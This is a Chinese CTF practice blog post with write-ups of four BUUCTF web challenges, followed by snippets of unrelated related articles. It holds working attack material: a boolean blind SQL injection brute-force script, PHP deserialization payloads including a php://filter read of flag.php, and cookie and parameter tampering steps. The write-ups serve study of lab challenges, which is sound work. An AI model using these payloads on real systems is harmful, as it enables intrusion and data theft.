[BT]BUUCTF刷题第8天(3.26)
第8天
Web
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目明确提示flag在flag表
里的flag列
,这里先尝试1
返回:你好,glzjin想要一个女朋友。
再尝试1'
,返回bool(false)
到这里就感觉是布尔盲注的题目类型了(虽然我没做过布尔盲注)
最后尝试1' or
,返回SQL Injection Checked.
说明or
被过滤了,空格也被过滤了
经过多次尝试发现页面只有以上三种返回提示,如果查询语句执行结果为真,那么输出你好,glzjin想要一个女朋友。
,为假则输出bool(false)
,检测到过滤词则输出SQL Injection Checked.
因此本题考虑布尔盲注
对于布尔盲注通常有两个函数:
- length()函数:判断查询结果的长度
- substr()函数:截取每一个字符,并穷举出字符内容
比如想要获取数据库名的长度(本题不需要):
?id=1' and length( database() )=猜测长度(从1开始,不断递增直到正确) -- a
页面异常(空)显示,表示猜解长度有误;
页面正常显示,表示猜解长度正确;
获取数据长度之后就可以获取其具体值:
?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a
查询结果由一个个字符组成,对应的ASCII编码是32~126。用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32、33直到26。
有关布尔盲注的详解文章:布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程
那么结合这道题我们就可以构造出:
if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0) //*利用()替代空格*
在SQL中,IF可以进行判断,格式为IF(condition, value_if_true, value_if_false)
condition
:一个条件表达式,其结果为布尔值(TRUE 或 FALSE)。
value_if_true
:如果 condition 为 TRUE,则返回此值。
value_if_false
:如果 condition 为 FALSE,则返回此值。
但一个个测试ASCII码比较麻烦,这里用到Python脚本:
import requests# 网站路径
url = "http://b40b7492-f0c5-41c8-8c92-4cf070718e9e.node5.buuoj.cn:81/index.php"# post请求参数
data= {"id": ""
}# 枚举字符
def getStr():str = ''# 从第一个字符开始截取for l in range(1, 50):# 枚举字符的每一种可能性for n in range(32, 126):data["id"] = f"if((ascii(substr((select(flag)from(flag)),{l},1))={n}),1,0)"response = requests.post(url=url, data=data)if "Hello" in response.text:str += chr(n)print('第', l, '个字符枚举成功:', str )breakgetStr()
即可获得flag
[网鼎杯 2020 青龙组]AreUSerialz
打开网站直接给出了源代码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {protected $op;protected $filename;protected $content;function __construct() { //初始化对象及属性,并调用 process() 方法$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") { //我们需要process函数执行到op=="2"这个地方$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() { //这个函数用不上if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() { //这个函数是关键$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}
}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) { //is_valid($str)用于检查一个字符串是否包含有效的可打印字符。$obj = unserialize($str);}
}
可以看出这是一道PHP反序列化的题目,为了获得flag需要以下步骤:
- 通过GET方法给
str
传参 - 绕过
is_valid()
的检测 - 绕过
$this->op === "2"
,防止op的值被修改为2 - 让
file_get_contents($this->filename)
能读取到flag.php的值
基于以上几点可以构造下面的PHP代码:
<?php
class FileHandler {public $op=2; /*由于$this->op == "2"是弱类型比较而
$this->op === "2"是强类型比较,所以这里的整数2可以绕过__destruct()且不影响结果*/public $filename="./flag.php";public $content;}
$a=new FileHandler;
$str1=serialize($a);
echo $str1;
?>
上面将属性类型protected
改为public
是为了避免出现打印符号(protected反序列化后为%00,会被is_valid函数检测到),并且PHP 7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符(有关其他方法绕过打印符号检测的文章:[网鼎杯 2020 青龙组]AreUSerialz1)
Payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;}
接着在返回页面注释中就能看到flag
这里也可以利用伪协议输出网页内容,同样能够将注释内容输出:
<?php
class FileHandler{public $op = 2;public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";public $content = 2;
}
$a = new FileHandler();
echo serialize($a);
?>
[极客大挑战 2019]BuyFlag
这是一个购买flag的网页,打开右上角的菜单
F12后发现网站泄露源代码
由于是弱类型,让password=404a
即可也可以设为404%00
,函数会认为这是个字符串
先通过HackBar构造password=404%00
然后使用BP抓包(必须先在HackBar构造POST,直接在BP构造可能因为请求包长度变化失效)
由于网站限定只有CUIT的人可以购买,通过抓包发现Cookie: user=0
,将其设为1就能绕过
然后提示需要Flag need your 100000000 money
将password=404%00
换成password=404%00&money=100000000
又提示Nember lenth is too long
这里将其改成科学计数法即可password=404%00&money=1e9
成功拿到flag
[护网杯 2018]easy_tornado
打开网站就是三个txt文件
/flag.txt
flag in /fllllllllllllag/welcome.txt
render/hints.txt
md5(cookie_secret+md5(filename))
当点进flag.txt时,url变为
http://b9e52e06-e591-46ad-953e-7e8c5fffa144.node5.buuoj.cn:81/file
?filename=/flag.txt&filehash=41a9f15a56218197f80a148252160b57
所以,为了获得flag,我们应该是要访问:
?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))
flag位于的文件是知道了,但是用于md5加密的cookie_secret
还不知道,因此接下来的重点是找到这个值
相关文章:

[BT]BUUCTF刷题第8天(3.26)
第8天 Web [CISCN2019 华北赛区 Day2 Web1]Hack World 题目明确提示flag在flag表里的flag列,这里先尝试1 返回:你好,glzjin想要一个女朋友。 再尝试1,返回bool(false) 到这里就感觉是布尔盲注的题目类型了(虽然我没…...

【前端】-
相对路径和绝对路径是描述文件位置的两种方式。 1. 相对路径:相对于自己的目标文件的位置,以引用文件之间网页所在位置为参考基础,而建立出的目录路径。因此,当保存于不同目录的网页引用同一个文件时,所使用的路径将不…...

uniapp安装axios
先npm安装 npm i axios然后在项目里面建一个utils文件,再建一个index.js 以下是index.js代码: import axios from axios; const service axios.create({baseURL: //xxxx.xxxxx.com///你的请求接口域名, timeout: 6000, // request timeoutcrossDomai…...

基于javaweb宠物领养平台管理系统设计和实现
基于javaweb宠物领养平台管理系统设计和实现 博主介绍:多年java开发经验,专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》 欢迎点赞 收藏 ⭐留言 文末获取源码联…...

网络问题排查方案
PC上不了网初步排查方案步骤 首先查看配置是否正确,是否使用自动获取(DHCP)IP,掩码,网关,如果不是,手动配置确认网关,子网掩码,IP是否配置正确,IP是否已有PC使…...

【CMake】所见所闻所学
Note: 本贴仅记录遇到的CMake的问题,以问题为驱动。 - cmake_minimum_required - project - add_executable - target_include_directories - ExternalProject_Add ExternalProject_Add 是 CMake 中用于管理和构建外部项目的模块。通过 ExternalProject_Add&…...

Linux shell脚本切换为root用户执行命令
首先安装expect。 sudo apt install expect 创建shell脚本文件,示例内容如下: #!/usr/bin/expectspawn su rootexpect {"密码:" {send "00000\r"}"Password:" {send "000000\r"}}send "./…...

儿童护眼灯哪个牌子好?盘点五款满分护眼台灯
为人父母以后,守护孩子的健康成了首要任务。随着孩子慢慢长大,课程的增多,作业也随之增加起来。很多孩子从放学回家就开始伏案在桌子上写作业,哪怕天色逐渐变暗,孩子作业仍旧未写完,作为父母的我们不得不担…...

HangZhou Java Journey P1
Java程序运行时类加载机制 下面是对这个流程的详细说明: JVM启动:当Java程序开始执行时,JVM首先启动。JVM的启动涉及到操作系统级别的进程创建和资源分配。 Bootstrap ClassLoader:JVM启动后,首先会初始化Bootstrap …...

fiddler过滤器使用,隐藏图片、js、css请求
如果抓包过程中不想查看图片、js、css请求,或者只想抓某个ip或者某个网页下的请求,可以在过滤器中设置。 (1)没有开启过滤器 可以看出所有的请求都会抓取,cs、js、图片请求都有 (2)开启过滤器 …...

HTML基础:8个常见表单元素的详解
你好,我是云桃桃。 一个希望帮助更多朋友快速入门 WEB 前端程序媛。 后台回复“前端工具”可免费获取开发工具,持续更新。 今天来说说 HTML 表单。它是用于收集用户输入信息的元素集合。例如文本框、单选按钮、复选框、下拉列表等。 用户经常填写的表…...

密码学之哈希碰撞和生日悖论
哈希碰撞 哈希碰撞是指找到两个不一样的值,它们的哈希值却相同 假设哈希函数的取值空间大小为k ,计算次数为n 先算每个值不一样的概率P’ 所以至少两个值相同(即存在哈希碰撞)的概率P为 生日悖论 假设班里有50个人,求班里至少两个人相同…...

SpringBoot + Redis + Lua = 王炸!
经有一位魔术师,他擅长将Spring Boot和Redis这两个强大的工具结合成一种令人惊叹的组合。他的魔法武器是Redis的Lua脚本。 今天,我们将揭开这个魔术师的秘密,探讨如何在Spring Boot项目中使用Lua脚本,以解锁新的可能性和提高性能…...

【Python】搭建 Python 环境
目 录 一.安装 Python二.安装 PyCharm 要想能够进行 Python 开发,就需要搭建好 Python 的环境 需要安装的环境主要是两个部分: 运行环境: Python开发环境: PyCharm 一.安装 Python (1) 找到官方网站 (2) 找到下载页面 选择 “Download for Windows”…...

NVIDIA 发布 Project GR00T 人形机器人基础模型和 Isaac 机器人平台重大更新
系列文章目录 前言 Isaac 机器人平台现可为开发者提供全新的机器人训练仿真器、Jetson Thor 机器人计算机、生成式 AI 基础模型和由 CUDA 加速的感知和操作库。 Project GR00T 是一种多模态人形机器人通用基础模型,作为机器人的大脑,使它们能够学习技能…...

05.循环
格式: 05.循环 01.循环语句02.while循环1.1while循环1.2.死循环1.3 while循环应用 计算123。。。100的和 03.for循环(迭代循环)3.1 基本格式3.2 range() 04.break和continue关键字4.1 break4.2 continue 01.循环语句 02.while循环 03.for循环…...

Git 分布式版本控制系统基本概念和操作命令
目录 Git 基本概念 功能特点 工作流程 操作命令 新建代码库 配置 增删文件 代码提交 分支 标签 查看信息 远程同步 撤销 其他 小结 Git Git 是一个开源的分布式版本控制系统,用于跟踪文件的变更历史。它最初由 Linux Torvalds 设计,用于…...

Python3爬取2023省市区
爬取地址https://www.stats.gov.cn/sj/tjbz/tjyqhdmhcxhfdm/2023/ import re import requests import pandas as pd import warnings warnings.filterwarnings("ignore") import time from lxml import etree import pymysql t ,urls ,names [],[],[] INDEX_URL &…...

放弃 Rust 选择 Zig,Xata 团队推出 pgzx —— 计划使用 Zig 开发基于 PG 的分布式数据库
Summary Xata 公司在基于 PostgresSQL 开发自己的分布式数据库,出于 Zig 和 C 语言以及 PostgreSQL 的 API 有更好的互操作性的考虑,他们选择了 Zig 而非当红炸子鸡语言 Rust。他们的博客文章中对 pgzx 进行了介绍。让我们来看下他们对 Zig 和 Rust 语言…...

线性数据结构----(数组,链表,栈,队列,哈希表)
线性数据结构 数组链表栈使用场景 队列应用场景 哈希表特点哈希函数,哈希值,哈希冲突键值对 Entry 开放寻址法和拉链法 参考文档 数组 数组(Array) 是一种很常见的数据结构。由相同类型的元素组成,并且是使用一块连续的内存来存储的。 在数组…...

lvgl 窗口 windows lv_port_win_visual_studio 版本 已解决
不知道的东西,不知道lvgl窗口。一切从未知开始 lv_port_win_visual_studio 主分支 对应的分支 v7版本更新git submodule update --init --recursive同步 lvgl代码随后打开 visualSudio 打开.sln 文件 编译 release模式 允许 一切正常代码部分...

【多模态融合】SuperFusion 激光雷达与相机多层次融合 远距离高清地图预测 ICRA 2024
前言 本文介绍激光雷达与相机进行多层次融合,包括数据级融合、特征级融合和BEV级融合。 融合后的BEV特征可以支持不同的任务头,包括语义分割、实例编码和方向预测,最后进行后处理生成高清地图预测,它是来自ICRA 2024的。 会讲解…...

富格林:梳理正规本领远离虚假套路
富格林悉知,黄金投资者在从事黄金交易之前,必须先了解黄金交易的风险。因为投资虽然能给你带来一定的收益,但往往也有亏损的风险。在进场后投资者可通过正规经验指导有效避免因为虚假诱导带来的异常亏损,增加安全做单盈利机会。以…...

fastadmin学习01-windows下安装部署
下载源代码 官网 安装 解压,然后使用phpstorm打开 修改配置文件 创建数据库 -- drop database fastadmin01; create database fastadmin01;这样fastadmin就部署好了 访问主页也能看到前台页面...

JAVA学习-网络编程.TCP
TCP(Transmission Control Protocol)是一种面向连接的、可靠的传输协议,它在Java网络编程中被广泛应用。TCP通信可以确保数据的可靠传输,并且具有一定的顺序性。 一、Java中实现TCP通信主要有以下几种方式: 1. Socke…...

[Android]创建Google Play内购aab白包
开发时需要调试Google内购,需要先往Google商店传一个白包上去。确定包名,然后进行内购产品创建。 1.创建一个空项目,填写正式名称和正式包名。 如果你只是为一个测试开发账号打白包,然后进行内购测试,这时包名随便写…...

大数据基础:Linux基础详解
课程介绍 本课程主要通过对linux基础课程的详细讲解,让大家熟练虚拟机的安装使用,Linux系统的安装配置,学习掌握linux系统常用命令的使用,常用的软件安装方法,制作快照,克隆,完成免密登录&…...

unity中 鼠标按下移动端与pc端的位置
if (Input.GetMouseButtonDown(0)) { Vector2 V Input.touchCount > 0 ? Input.GetTouch(0).position : new Vector2(Input.mousePosition.x, Input.mousePosition.y); } 射线检测 if (Input.GetMouseButtonDown(0)) { …...

增强现实(AR)在广告中的力量
The Power of AR in Advertising 写在前面 增强现实(AR -Augmented Reality)是指借助软件、应用程序和智能手机、平板电脑或耳机等设备,为日常生活添加视觉和音频元素的技术。如今,品牌和广告商可以在营销活动中使用AR࿰…...

日志收集监控告警平台的选型思考
目前市面上比较常见的日志收集系统有:ELK,Grafana Loki,OpenObserve,SigNoz,Graylog ,Syslog-ng,Highlight,接下来我会对这几个一一做分析。 1. ELK ELK 是 Elasticsearch、Logsta…...